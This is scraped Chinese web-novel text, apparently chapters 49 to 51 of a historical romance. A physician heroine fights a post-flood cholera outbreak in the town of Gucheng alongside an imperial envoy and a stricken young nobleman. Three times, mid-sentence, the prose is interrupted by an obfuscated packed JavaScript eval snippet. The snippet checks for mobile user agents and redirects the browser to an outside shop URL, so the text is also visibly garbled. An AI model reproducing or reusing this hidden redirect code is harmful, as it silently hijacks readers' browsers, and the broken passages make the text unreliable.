先是远处传来闷雷般的轰响,像千百头野兽在咆哮。紧接着,浑浊的黄水从西城门涌入,以肉眼可见的速度漫过街道,吞噬房屋。水位迅速上涨,转眼间就没过了膝盖。 仁心堂建在高处,暂时无虞。可站在门前望去,半个菰城已成泽国。房屋只露出屋顶,树木只剩树梢,到处漂浮着家具、木料,还有……牲畜的尸体。 哭喊声、求救声,被涛涛水声淹没。 许娇娇站在门廊下,望着这片汪洋,心中冰凉。她前世见过洪水,可那是现代,有完善的预警和救援体系。而这里……没有冲锋舟,没有救生衣,没有大型机械,只有血肉之躯。 “快看!那边有人!”静心忽然指着远处惊呼。 只见一处屋顶上趴着几个人,正拼命挥手。水已淹到屋檐,随时可能把房子冲垮。 赵药师急得跺脚:“太远了!过不去!” 正焦急时,几艘小船从另一条街巷划了过来。船上是官府的人,还有沈府的仆役——许娇娇认出了领头的,正是那日去柳枝巷接她的周嬷嬷的儿子,沈府外院的一个管事。 小船艰难地靠近那处屋顶,把人一个个接上船。其中一个老翁上船时腿软,险些跌进水里,被船上的人死死拉住。 “沈府出动了所有能用的小船,”赵药师叹道,“可还是不够。” 整整一天,救援都在继续。小船来回穿梭,救起一个又一个被困的人。可水位还在上涨,更多的人被困在屋顶、树梢,绝望地等待。 傍晚时分,雨终于停了。可洪水不退反涨——上游的水还在源源不断地涌来。 仁心堂已挤满了人。伤者,灾民,老人孩子,挤在每一个能落脚的地方。空气里弥漫着湿气、汗味和血腥味。有人低声啜泣,有人呆坐不语,有人焦躁地踱步。 许娇娇忙得脚不沾地。外伤要处理,受惊的要安抚,还有几个发热的,需得特别看顾——大灾之后必有大疫,这是常识。 夜里,她终于得空喘口气,坐在药房的门槛上,就着一盏油灯查看药材库存。赵药师走过来,递给她一块干饼:“吃点东西。” 许娇娇接过,道了声谢。饼又干又硬,可她吃得很快——不知道下一顿是什么时候。 “朝廷的钦差到了。”赵药师在她身边坐下,低声道,“是御前左军统制·兼权江南道救灾安抚使。听说姓裴。” 许娇娇手一顿。裴?这么巧?她想起元宵夜那个傲慢的少年也姓裴,还有纯阳宫石径上那个清冷的身影,柳枝巷那夜翻墙而入的荒唐行径。应该不是,这么危险的地方,他怎么会来。 许娇娇心里有些乱,连她也说不清楚,为什么会忽然想到他。 “裴安抚使带来了一批粮食和药材,”赵药师没注意她的异样,继续说,“可还是不够。菰城周边十几个村镇都淹了,灾民数以万计。更麻烦的是……”他顿了顿,声音更低了,“今天救回来的人里,已经有七八个开始腹泻、发热了。” 许娇娇收敛心神,忙问:“症状如何?” “腹痛如绞,水泻不止,高热畏寒。”赵药师眉头紧锁,“我怀疑是……霍乱。” 这两个字像冰锥,扎进许娇娇心里。霍乱,在古代几乎是绝症,传染性极强,死亡率极高。一旦爆发,后果不堪设想。 “隔离了吗?”她急问。 “已经将发热的人单独安置在后院厢房,”赵药师道,“可人这么多,地方这么挤,难保不传染。” 许娇娇站起身:“我去看看。” 后院厢房里,七八个病人躺在草席上,个个面色苍白,嘴唇干裂。有个年轻妇人抱着婴儿,孩子哭得声嘶力竭,她却无力安抚。许娇娇上前查看,婴儿额头滚烫,小脸通红。 “孩子也染上了?”她轻声问。 妇人泪如雨下:“大夫,求您救救孩子……他才三个月……” 许娇娇心中酸楚。她检查了婴儿的症状,又查看了其他病人,心中有了判断——确是霍乱无疑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248105|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赵药师,”她走出厢房,神色凝重,“必须立刻采取隔离措施。所有病人集中安置,健康的人不得靠近。接触过病人的人也要观察。还有,饮水必须煮沸,食物要煮熟,排泄物要深埋。” 赵药师点头:“我已经吩咐下去了。可药材……”他苦笑,“治霍乱的药材本就稀缺,如今更是千金难求。” 许娇娇沉吟片刻:“我有几个土方子,或许管用。苍术、艾叶熏烟可消毒避疫,马齿苋、车前草煎水可止泻,虽不能根治,或可缓解症状。” “只能试试了。” 这一夜,许娇娇几乎没合眼。她带着静尘、静心,将仁心堂里里外外用艾草熏了一遍。又熬了几大锅草药,分发给众人。赵药师则带着伙计,在院中挖坑深埋污物。 可疫情还是蔓延开了。 第二日,又多了十几个病人。第三日,这个数字翻了一番。仁心堂后院已无处安置,只好在前院搭起简易的草棚。 恐惧像瘟疫一样传播。有人想逃,可外面是滔滔洪水,无处可逃。有人开始传言,说这是天罚,是妖孽作祟。许娇娇甚至听到有人低声议论:“听说张记药铺那个许娘子在仁心堂……该不会是她带来的晦气吧?” 静心气得发抖,想上前理论,被许娇娇拉住。 “现在不是争辩的时候。”许娇娇提了提面上的蒙布语气平静,“先救人吧!救人要紧。” 在这个当头,舆论谣言都不足为惧。 “许娘子。” 一个有些清融中带着许些疲倦的声音响起。许娇娇转头,看见草棚入口处站着一个年轻人,穿着半旧的青布衫,头发用布带草草束着,脸上带着病容,却依然能看出原本的清俊模样。 此人她见过,在何山的道观。和裴宴一起由清风道长陪着他们,那日匆匆一面,许娇娇有个过目不忘的本事。 许娇娇愣了愣,急忙上前:“郎君是……郎君怎么在此?” “在下沈谦,”年轻人微微欠身,声音因发热而有些低哑,“家父讳翊,祖居菰城沈氏。曾在何山道观……与娘子有过一面之缘。” 话没说完,她注意到沈谦的脸色,两颊泛着不正常的潮红,嘴唇干裂,眼神也有些涣散。她心头一紧,不由伸手探向他的额头。 触手滚烫。 沈谦有些愣住,只觉得额头探上来一直略微冰凉的手,极其舒服。他没有躲,因为他有些懵。他没想道许娘子竟如此直接。 “病了多久?”许娇娇急声问。 沈谦回过神,有些心虚,他差点忘记,许娘子是个医者。于是虚弱地笑了笑:“两日。起初只是头晕,今早开始腹泻……”他顿了顿,低声道,“家里人都撤到城东老宅了,我留下来帮着安置灾民,没想到……” 许娇娇虚扶着他在旁边的草席上坐下:“你不该来的。这里病人太多,容易传染。” “我知道。”沈谦咳嗽了几声,“可出了这么大的事,菰城乃我祖宅,我们府上不能不出面,如今到处缺人手,我虽是读书人,也识得几个字,总能帮些力所能及的事。”他看向许娇娇,眼中带着歉意,“给娘子添麻烦了。” “沈郎君客气,”许娇娇摇摇头,仔细为他诊脉。脉象滑数,舌苔黄腻,确是霍乱的典型症状。 沈谦,她自然早就有耳闻。刘寡妇经常八卦一些菰城的达官显贵,有时她也随口多问几句。沈尚书第的嫡长孙,青年才俊。父亲沈翊进士出身,在京城为官,他则和几个兄弟跟随祖父母住在菰城,在州学肄业。 “你先躺下歇息片刻,我去熬药。”许娇娇诊好脉起身要走。 沈谦却叫住她:“许娘子。” 许娇娇回头看他。 “这些时日……多有劳烦。”沈谦看着她,声音很轻,“我听说,这几日你都没怎么合眼。” 许娇娇愣了愣,没想到他会关心自己。她垂下眼睑,声音平和:“我乃学医之人,只是尽本分。” 50. 第50章 霍乱 “本分……”沈谦重复着这两个字,忽然剧烈咳嗽起来。许娇娇忙上前扶住他,等他咳完了,倒了杯温水递上。 沈谦接过去喝了几口,喘息稍定,才又开口:“我见过许多人,平日里满口仁义道德,到了危难之时,却只顾自保。娘子一个女子,能在此时挺身而出,这份本分,比许多人的大义更可贵。” 许娇娇不知该如何接话,只好低声道:“沈公子过誉了。您好好歇着,我去煎药。” 她转身匆匆离开,心里却有些乱。沈谦的眼神太过直白,那份赞赏里,似乎还掺杂了些别的东西。 第四日,晨雾尚未散尽,浑浊的水面上漂浮着断木与杂物。一列舴艋舟如游鱼般悄然滑入深巷,船头站着披蓑衣的菰城救援官,正对着屋檐上惊惶的百姓高喊:“告所有人,莫慌!官粮已到!”后方,一艘吃水较深的纲船正小心绕过淹至半身的石狮,船头士卒用长矛推开漂浮的衣柜,舵手紧张地盯着前方民房屋顶插着的黄色指引布条。船头站着裴宴,他身后一把大伞撑在头顶,挡住了细密的雨水,几个贴身随从和几个官员穿着蓑衣站在身后,纲船后面紧紧跟着两艘医药船,青色旗幡在雾色中时隐时现,几位医官正为打救上来的灾民诊脉,药童在船舱里守着沸腾的药釜。 菰城的知州孟允和几个菰城的官员几乎都是满眼血丝,孟知州正将头顶斗笠掀起,他面色紧张看着裴宴,“帅使来的及时,这几日雨水是弱了,但湖水倒灌却越发迅猛,下官命人将东山的一处道观腾出,方便安置灾民。前方一里多就是仁心堂所在,那里地势极高,听说仁心堂已收留不少灾民。帅使您看……?” “孟知州辛苦。那就分头多派遣几艘船只,先救治民众,发放救济粮、药品。”裴宴面沉似水。菰城地处内陆,飓风从明州刮过来,大风到是无妨,这内涝却是大事,朝廷想尽办法,却总是难以周全。 前面快速驶过来一艘舴艋舟,一位传令兵上前禀报:“西南五里水深已过丈,且有老弱困于海禅寺的阁楼。孟知州急忙转身对身后的等候的青壮士兵嘶哑道:“调两艘筏子,多派会水的,从李寡妇茶坊的后墙破窗进去!” 裴宴看着眼前的场景,心情十分沉重,他外祖沈府就在菰城,不过他早就打发人去探望过,沈府地势颇高,水深直到脚踝处,尚不足为惧。只有几处庄子被水淹了,问题不是很大,外祖母和外祖父带着家人都上了避难的阁楼。当初修建时,沈老侯爷也是考虑到菰城地势,将阁楼修建的十分结实稳固。 只是,那个丫头,在张记生药铺坐诊的她,也不知道如今可好? “郎主,仁心堂到了。”身后随从长风低声道。 裴宴回过神举目望去。 只见仁心堂门前的石阶已被淹没大半,几艘舴艋舟用麻绳系在廊柱上,随浊浪起伏。堂内人影幢幢,咳嗽声、呻吟声、孩童的啼哭声混杂着药草苦味,从洞开的门窗里漫出来。檐下挤满了无处可去的灾民,个个面如菜色,眼神空洞。 裴宴踩着亲兵临时搭起的木板桥,踏上仁心堂前廊。孟知州紧随其后,高声喊道:“钦差裴安抚使到!主事者何在?” 赵药师正端着药钵从后堂匆匆出来,闻声急忙上前,衣摆还沾着泥渍:“草民仁心堂管事赵常,拜见天使!” 裴宴的目光却越过他,扫向混乱的堂内。人群里,一个熟悉的身影正背对着门口,蹲在一个老妇身前,低头查看对方肿胀的脚踝。她发髻有些松散,几缕碎发被汗水粘在颈侧,蓝色的粗布衣裙上溅满了泥点,却衬得那截露出的手腕越发白皙。 是她! 裴宴心头莫名一松,随即又蹙起眉。此地乱象环生,脏污不堪,她一个女子……! “赵管事,”他收回视线,声音沉稳,“灾民情况如何?可有疫症迹象?” 赵药师脸色一肃,压低声音:“回安抚使,实不相瞒,已有数十人出现腹泻高热之症,疑似……霍乱。草民与几位大夫,包括许娘子,已尽力隔离病患,分发防疫汤药,奈何药材短缺,病者日增。” “霍乱”二字让孟知州和一众官员都倒抽一口凉气。裴宴心下一沉,神色却未变,只道:“朝廷的医药船已到,随船太医正在后方诊治重伤者。药材随后会分批运抵。赵管事,你即刻清点所需药材名录,报与孟知州。太医署的人稍后便来协助。” “是!谢安抚使!”赵药师如蒙大赦,连忙应下。 裴宴又吩咐孟知州调配人手,加强仁心堂周边的秩序与清洁,务必分开水源与污物处理之处。他语速不快,条理清晰,一道道指令下去,原本慌乱无措的场面似乎有了主心骨。 交代完毕,他才状似无意地朝许娇娇那边走去。 许娇娇刚为老妇固定好伤处,起身时眼前黑了一瞬,连日疲惫让她身形微晃。一只有力的手臂及时在她肘边虚扶了一下,又迅速收回。 “许娘子。”裴宴的声音在身侧响起,听不出什么情绪。 许娇娇蓦然抬头,撞进一双深潭似的眼里。他穿着暗青色常服,外罩玄色大氅,虽沾染了风尘水汽,身姿依旧挺拔如松,与周遭的混乱狼狈格格不入。只是脸色有些疲惫,眼下有淡淡的青影。 “裴……裴安抚。”许娇娇敛衽行礼,心头一时有些慌乱,没想到真是他,更没想到会在此情此景下相见。 “你可还安好?”裴宴问得简短。 “我,无恙。”许娇娇垂眸,“多谢安抚使关切。安抚使亲临险地,还请务必保重。” 两人之间一时无话,只有周遭的嘈杂不断涌入。静尘端着一盆热水经过,看见裴宴,愣了一下,低头快步走开。 “听闻你在此协助救治,颇有章法。”裴宴再次开口,目光落在她沾满药渍的双手上,“疫症凶险,你……自己要小心。” “小女子略通医理,自当尽力。”许娇娇顿了顿,还是抬起眼,目光澄澈而坚定,“安抚使,霍乱之疫,重在防大于治。如今灾民聚集,若无洁净饮水与妥善排污,汤药恐难遏制蔓延。可否请安抚使下令,组织尚有力气的民众,于高处挖掘临时厕坑,远离水源?并严令所有饮水必须煮沸?” 裴宴凝视着她,看到她眼中的血丝,也看到她毫无退缩的担当。他点了点头:“你所言在理。此事我会即刻安排。”他停顿了一下,声音略低,“若有难处,或缺少什么,可让人……直接报与我知晓。” 许娇娇微微一怔,随即道:“是。小女子代灾民谢过安抚使。” 这时,一名亲兵快步上前,在裴宴耳边低语几句。裴宴面色一凝,对许娇娇略一颔首,便转身大步离去,玄色氅衣在潮湿的空气里划开一道利落的弧线。 许娇娇望着他匆匆离去的背影,轻轻吐了口气,压下心头那丝莫名的波澜,转身又投入到忙碌的救治中。 夜幕再次降临,仁心堂内点起了更多的油灯和火把。朝廷运来的第一批药材和粮食已然到位,虽仍是杯水车薪,却给了绝望中的人们一丝光亮。后院里,按照许娇娇的建议,新挖的厕坑已经启用,几口大锅日夜不停地烧着开水。 裴宴带来的太医署医官与仁心堂的大夫们汇合,共同商讨疫病防治之策。许娇娇作为最早发现并参与处理疫情的医者,也被邀列席。她提出的隔离分区、人员分类、饮水消毒等举措,得到了几位老医官的认可,并逐步推行。 裴宴并未参与具体医案讨论,却在后勤调配上下足了功夫。船只、人手、物资,在他的协调下,效率提高了许多。夜深了,他临时下榻的官船停在仁心堂附近,舱内灯火通明,人影忙碌,不时有将领和官吏进出禀报。 许娇娇端着刚熬好的防疫汤药,分发给前院轮值的青壮。经过廊下时,她无意间抬眼,望见远处官船船舷边独立的身影。裴宴正凭栏远眺着漆黑一片的汪洋城池,侧脸在微弱的光线下显得格外冷峻。 他似乎察觉到视线,转过头来。 隔着摇曳的水波与昏黄的灯火,两人的目光在潮湿的夜空中短暂相接。 许娇娇率先移开目光,低下头,继续手中的工作。只是心绪,如同这脚下起伏的浊水,难以彻底平静。 有了朝廷的支持,防疫工作终于能有序展开了。 可疫情并未好转。病人越来越多,药材越来越少。每天都有人被抬进来,每天都有人被抬出去——有些是治愈的,更多的是……死去的。 许娇娇第一次如此深切地感受到生命的脆弱。那个三个月大的婴儿,终究没熬过去。年轻的母亲抱着孩子冰冷的身体,哭得昏死过去。许娇娇站在一旁,指甲深深掐进掌心。 她恨自己的无能为力。若有现代的医疗条件,若有充足的药品,这些人都不会死。 可她什么也没有。只有几本医书,一点前世的知识,和一颗不甘的心。 夜深人静时,仁心堂内终于有了片刻喘息的死寂。许娇娇独自坐在临时充作药房的后堂角落,面前摊着自己这几日根据前世经验所写的医案,烛火因门缝钻入的夜风而摇曳不定,将她疲惫消瘦的影子拉长,投在满是药渍的墙壁上。她目光落在纸上,却久久未动,眼前晃动的仍是白日里那些绝望的面孔。 静尘轻轻走进来,将一碗冒着微弱热气的薄粥放在她手边。“娇杏,歇歇吧,哪怕闭眼养养神也好。”静尘的声音带着掩饰不住的心疼,“你已经三天没好好合眼了,铁打的人也受不住。” 许娇娇恍若未闻,只是摇了摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她说得平静,但裴宴听出了那平静之下竭力压抑的沉重与无力。他沉默片刻,道:“明日午时前后,会有一批药材从杭州紧急调运抵岸,我已安排快船接应。其中应有部分你所需的药材。” 许娇娇黯淡的眼眸里终于亮起一丝微光:“当真?那……那或许还能再撑几日。” “嗯。”裴宴应了一声,视线再次落到那碗几乎清澈见底的粥上,忽然问道,“你就吃这个?”许娇娇一愣,没反应过来他为何忽然问这个。 “……足够了,夜里也不宜多食。” 她以为他只是随口一问。裴宴没接话,只转头对一直静立门边的亲随长风低声吩咐了一句。那长风领命,悄无声息地快步离去。不多时,长风去而复返,手里捧着一个不大的食盒。裴宴接过,亲自放在许娇娇面前的桌上,打开。里面是一碟尚温热的、看起来颇为精致的点心,还有一小罐不知是什么的汤羹。 “这是……”许娇娇讶然。 “我船上厨子做的夜点,用了一些滋补药材。”裴宴语气平淡,仿佛在陈述一件与己无关的公事,“我用过了,这些多余。你拿去。”他顿了顿,目光平静地看向她,补充道,“空着肚子,熬不了夜,也救不了人。医者自身体力不济,如何应对疫情?”他将理由完全归结于公事和效率,听起来无懈可击。 许娇娇看着那碟点心,又看看裴宴没什么表情的脸,心中一时五味杂陈。这显然不是多余的点心,更像是特意准备的。但他用如此生硬的理由送来,让她连感谢都显得有些尴尬。 “多谢裴安抚,小女子……”她下意识想推拒。 “许娘子,”裴宴打断她,声音依旧平稳,却带着不容置疑的意味,“救治病患,离不开医者。你若倒下了,仁心堂便少一分力。这并非私谊,乃是公事所需。”他又看了一眼那清粥,语气略缓,“况且,你吃那个,并无益处。” 话说到这个份上,再推辞反而显得不识好歹。 许娇娇只得再次道谢:“那……多谢裴安抚体恤。” 裴宴几不可察地点了下头,似乎完成了某项任务。他又看了一眼那烛火下显得格外单薄的身影,终是没再多言,只道:“夜已深,许娘子也当适当休息。明日药材一到,还需你费心调配。”说完,他便转身,如来时一般,踏着沉稳的步伐,消失在廊下的阴影里。 许娇娇望着他离去的方向,良久,才收回目光,落在食盒上。 静尘轻轻走过来,叹了口气,将点心拿出一半,又把那罐汤羹推到许娇娇面前:“这位安抚使……看着冷,倒是个心细的。娇杏,听一句劝,吃点实在的吧,明天……还有硬仗要打。” 许娇娇点头。她舀了一勺汤羹送入口中,温热鲜香的味道瞬间弥漫开来,与方才的米汤天壤之别。这暖意似乎更切实地渗入了四肢百骸,也让她因沉重现实而有些麻木的心,感受到了一丝温暖和支撑。 51. 第51章 转机 晨光熹微,仁心堂内却无人有暇感受这雨停后的第一缕晴光。死亡的气息依旧浓郁,但许娇娇眼中却燃着一簇不肯熄灭的火。 她将自己关在药房半日,凭着记忆与连日观察,结合前世的医案,反复推敲,终于拟定了一份详尽的方略。纸张上墨迹未干,她便径直去寻裴宴。 官船上,裴宴正与几位地方官员及太医署领队议事,气氛凝重。听说许娘子求见,裴宴略一沉吟,便命人引她进来。 舱内众人目光落在她身上,有探究,有不以为然。一个年轻女子,纵有些医术,在此等关乎一城生死的大事上,又能有何高见? 许娇娇无视那些目光,向裴宴及诸位大人行礼后,便展开手中纸张,声音清晰却带着不容置疑的坚定:“裴安抚使,诸位先生,小女子根据连日诊治观察,针对此次霍乱疫症,有一防治方略呈上。” 她先指出的仍是隔离与清洁:“病患必须严格分区,重症、轻症、疑似、未染者,需有四重隔离,人员衣物器具不得混用。所有照料者,须着特制防护衣物,以厚棉布制成,袖口、裤脚紧束,外罩油布或涂蜡粗布围裳,尽量减少肌肤暴露。口鼻需以多层细密棉布覆盖掩住,此物民女称之为‘口罩’,需勤换煮沸消毒。”她早有准备,取出一个自己连夜粗制的棉布口罩样品。 太医署一位胡姓医官捻须皱眉:“隔绝病气,古已有之,孙真人《千金方》中便有‘入病家需避秽’之说。然此等口罩与特异衣物,是否必要?霍乱之毒猛烈,恐非区区布帛可防。” “胡太医所言甚是,霍乱之毒确实凶猛。”许娇娇不卑不亢,“然其传播,终需途径。病患吐泻之物、沾染之手、共用之水,乃至飞溅之唾沫,皆可为媒。严密防护,虽不能保万全,却能极大减少健康者染病之机,亦可防照料者病倒,导致无人可用。此乃切断传播之关键一环。” 裴宴一直静静听着,此刻开口:“所需布帛几何?如何赶制?” 许娇娇早有估算:“初期至少需两百套衣物,口罩需更多,且需备换洗。可征调城中未被淹的布庄、成衣铺人手,统一裁制,以沸水蒸煮后再分发使用。” “可。”裴宴对孟知州道,“孟知州,此事由你即刻督办,优先调用官仓库存棉布,工钱照市价给付。” 孟知州连忙应下。 接着,许娇娇提到了最关键的治疗药方。她呈上两张方子:“一张为治标急方,针对吐泻剧烈、津液暴脱之危重患者。以黄连、黄芩为君,清热燥湿;葛根、煨木香升清止泻;辅以车前草、马齿苋利湿解毒。更关键者,需用淡盐水、糖水,或稀米汤加少许盐,频频喂服,不拘时辰,务求补充流失之水液,此乃留人治病之要。” 另一张方子则为预防及轻症调理之用,用药相对平和。 几位太医传阅方子,低声议论。赵药师也在一旁细看。胡太医沉吟道:“方中用药,确是对症清热止泻之品。这频频喂服盐糖米汤之水法……医籍中虽有‘津脱者补以甘淡’之论,但用于霍乱如此急症,是否真能起效?且药材用量颇大,黄连、葛根如今皆是紧俏之物。” 许娇娇知道空口无凭,她取出一份自己整理的简要记录:“不瞒诸位,前几日药材未至时,小女子已对部分重症病患尝试此法。虽因条件所限,盐水糖水配制粗陋,亦无法时刻喂服,但十人中,有三人吐泻稍缓,精神略振,得以撑到用药。若无此水液补充,恐此三人亦早已不治。”记录上字迹工整,简单列明了病患初始状况与喂水后变化。 裴宴接过记录,快速浏览。上面没有华丽的辞藻,只有朴素的观察。他抬眼看向许娇娇:“你有多大把握?” 许娇娇迎着他的目光,坦然道:“小女子不敢妄言十成把握。霍乱凶险,变数极多。但此法源于医理,前几日微效可见。若能有充足药材,配合严格隔离防护,小女子相信,至少可挽回更多性命,降低病死之数。”她顿了顿,声音坚定,“事急从权,请安抚使决断。” 舱内安静下来。所有目光都投向裴宴。 裴宴指节在案几上轻叩两下,随即斩钉截铁道:“就按此方略试行。胡太医,赵管事,药材调配、方剂熬煮、人员分派,由你二人协同许娘子负责。孟知州,防护衣物、口罩之事,再加派人手,务必最快赶制出来。所需药材,立刻从已到岸的药材中拨付,不足部分,列单由快马向周边州县征调。” 他语速不快,却带着不容置疑的力量。钦差一言,众人再无异议,立刻领命分头行事。 许娇娇心中一块大石稍落,郑重向裴宴行礼:“谢安抚使信任。” 裴宴看着她眼下的青黑,道:“许娘子先去歇息片刻,稍后还需你主持配药事宜。” “小女子不累。”许娇娇摇头,此刻她心中那股劲正盛。 方案既定,仁心堂迅速行动起来。第一批简陋但实用的防护衣物和口罩赶制出来,优先分发给直接接触病患的大夫、伙计和自愿帮忙的灾民。起初有人嫌麻烦别扭,但在许娇娇和赵药师的坚持下,还是依言穿戴。 熬药的大灶增加到十个,按照许娇娇提供的方子和注意事项,分批熬制不同用途的汤药。那“补液水”也专门设了地方配制,强调清洁。隔离区域重新划分,标识清晰。 裴宴并未留在官船,他要亲自去看看灾民安置和防疫实情。临行前,他唤来许娇娇。 许娇娇递上一个崭新的口罩和一件叠好的防护外衫:“裴安抚,请戴上这个,穿上外衫。虽不能完全杜绝风险,总能好些。” 裴宴看着她手中的粗布口罩和略显笨拙的罩衫,没有拒绝,接过。他学着许娇娇之前示范的样子,将口罩戴上,系带在脑后打了个结,又套上外衫。玄色大氅下露出这么一身打扮,让他冷峻的气质里平添了几分罕见的……烟火气,甚至有一丝不易察觉的笨拙。 许娇娇低着头,帮他整理了一下罩衫的领口,确保遮盖严实,指尖不经意触到他颈侧的皮肤,温热。她迅速收回手:“安抚小心,尽量不要直接接触病患或污染物。” “嗯。”裴宴应了一声,目光在她低垂的眼睫上停留一瞬,转身带着同样做了防护的长风等人,踏入仁心堂前院。 院内景象井然了不少,但病患的痛苦呻吟依旧刺耳。裴宴边走边看,询问物资分发和病患安置情况。当他走到专门隔离重症病患的西南角草棚区时,目光无意间掠过一张草席,骤然顿住。 草席上躺着的青年,面色灰败,眼窝深陷,正是他以为早已随沈家老小安全撤离到城东高地的表兄——沈谦! 裴宴瞳孔微缩,疾步上前。沈谦似乎昏睡着,呼吸微弱急促。 “他何时来的?病了几日?”裴宴转头,声音里带着罕见的急怒,问向旁边一个正在照料其他病人的伙计。 伙计被钦差的脸色吓到,结结巴巴道:“回、回天使,这位公子是前日自己来的,说是帮忙安置灾民,来了就病倒了……许、许娘子亲自看的,说是染了疫症,已经用了两日药了……” 裴宴心下一沉。前日?那正是疫情最凶险的时候!他竟一直不知!看着表兄病骨支离的模样,再想到外祖母若得知……裴宴握紧了拳。 许娇娇闻讯匆匆赶来,见裴宴站在沈谦铺前,脸色难看,便知他已发现。她上前低声道:“裴安抚,沈公子病情确实凶险,初时高热不退,吐泻剧烈,险些津脱。这两日用了药,配合补液,今晨高热已退,吐泻次数也减少了,脉象虽仍弱,却比昨日稍稳。只是人还十分虚弱。” 裴宴闭了闭眼,压下翻腾的情绪,再睁开时已恢复冷静:“有劳许娘子费心。务必……全力救治。” “小女子分内之事。”许娇娇道。她见药童端了刚熬好的药来,便接过,“该服药了。” 她蹲下身,轻声唤道:“沈公子,沈公子,该用药了。” 沈谦费力地睁开眼,眼神起初涣散,慢慢聚焦在许娇娇脸上。他看到了她身后的裴宴,虚弱地动了动嘴唇:“宴……弟……” “表哥。”裴宴蹲下,握住他无力抬起的手,“别说话,好好吃药。” 许娇娇试了试药温,用小勺慢慢喂到沈谦嘴边。沈谦吞咽困难,喂进去的药汁有一小半沿着嘴角流出。许娇娇极耐心地用手巾轻轻擦拭,再喂下一勺,一边低声鼓励:“慢慢喝,对,就这样……这药里有葛根、黄连,能清热止泻,还有益气生津的药材,喝下去会舒服些……” 她神情专注,动作轻柔,仿佛对待一个易碎的瓷娃娃。裴宴在一旁看着,看着许娇娇低垂的侧脸,看着她细心擦拭沈谦嘴角的药渍,看着她温声软语地哄劝……一股莫名的滞闷感悄然堵在胸口。他知道这是医者仁心,知道她对待其他重病患也是如此,但亲眼见表兄如此依赖她的照料,心中那点说不清道不明的烦躁,却难以抑制地滋生。 沈谦艰难地服完药,似乎耗尽了力气,又昏睡过去,但呼吸比之前平稳了些许。 许娇娇仔细替他掖好被角,起身对裴宴道:“裴安抚放心,沈公子最危险的关头应该已经过了,接下来按时用药,精心护理,当可逐渐康复。” 裴宴点了点头,目光复杂地看了沈谦一眼,又扫过许娇娇疲惫的面容,最终只道:“有劳。” 接下来的几日,新的防治措施逐渐显出效果。严格隔离减少了新感染,防护衣物给了照料者更多信心,而许娇娇主张的“汤药配合补液”疗法,在充足药材的支持下,效果越来越明显。重症患者的死亡率开始显著下降,越来越多的人熬过了最凶险的时期,转向康复。仁心堂内,绝望的气息被一丝微弱的希望悄然驱散。 沈谦的恢复更是众人关注的焦点。他底子好,加上许娇娇的精心治疗和静尘的细心照料。许娇娇忙不过来时,常由静尘帮忙。恢复得比普通灾民快些。四五日后,他已能半坐起来,喝些薄粥,脸上也有了点血色。 每次许娇娇来查看,沈谦的目光总是忍不住追随她。看她为自己诊脉时微蹙的眉头舒展,听她交代注意事项时清泠柔和的声音,感受她指尖偶尔触及手腕带来的微凉触感……劫后余生的庆幸,对救命恩人的感激,以及这个女子在灾难中所展现出的智慧、勇气与仁心,如同细细的丝线,悄然缠绕在他心头。他醒来后已知晓许娇娇提出的整套防治方略,心中钦佩更甚。这份情愫,在病弱的身体和依赖的环境中,悄无声息地滋长。 裴宴依旧忙碌,但出现在仁心堂,尤其是西南角这个草棚附近的频率,若有心人观察,似乎高了些。他有时带来外祖母让人捎来的滋补品。名义上是给沈谦,但分量往往足够几个人分。有时是询问沈谦病情,有时只是远远看一眼。 他会看到沈谦靠着墙,目光柔和地落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259136|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正在不远处查看其他病人的许娇娇身上;会听到沈谦用虚弱却温和的声音向许娇娇道谢,言辞恳切;甚至会见到许娇娇因沈谦的某个问题而驻足,简短解释几句。 每一次,裴宴面上依旧没什么表情,吩咐公事,检查防疫,语气冷静如常。只是,当他与许娇娇交谈时,若沈谦在场,他的话语会格外简练干脆,目光也会很快从许娇娇身上移开,仿佛多停留一刻都是不必要的。偶尔,他会以商讨要务为由,将许娇娇从沈谦附近叫开。 许娇娇全部心思都在疫情控制和病患康复上,对两位郎君之间流动的微妙气氛浑然未觉。她对沈谦,是医者对重要病患的尽责,加上一丝对其挺身而出却染病的敬意;对裴宴,则是下属对有力支持者的感激与配合。她只觉裴安抚使近日似乎更忙碌,神色也更冷峻了些。 洪水正缓缓退去,露出满目疮痍的大地。疫情虽未完全平息,但已然受到很好的控制。 与此同时,沈谦在仁心堂养病的消息,终究还是传回了沈家。 这日傍晚,许娇娇正在给沈谦换药。沈谦的病已经好了大半,只是身体还虚,需要调养。 “娘子这方子,救了不知多少人。”沈谦靠在草垫上,看着许娇娇熟练地包扎他手臂上的一处擦伤——那是他帮忙搬运物资时留下的。 许娇娇低头处理伤口,轻声道:“是朝廷送来的药材及时,赵药师他们也都尽心。” “你总是这样谦逊。”沈谦温和地说,“我祖父前日派人来,说祖母和母亲都听说了你的事,很是感激。” 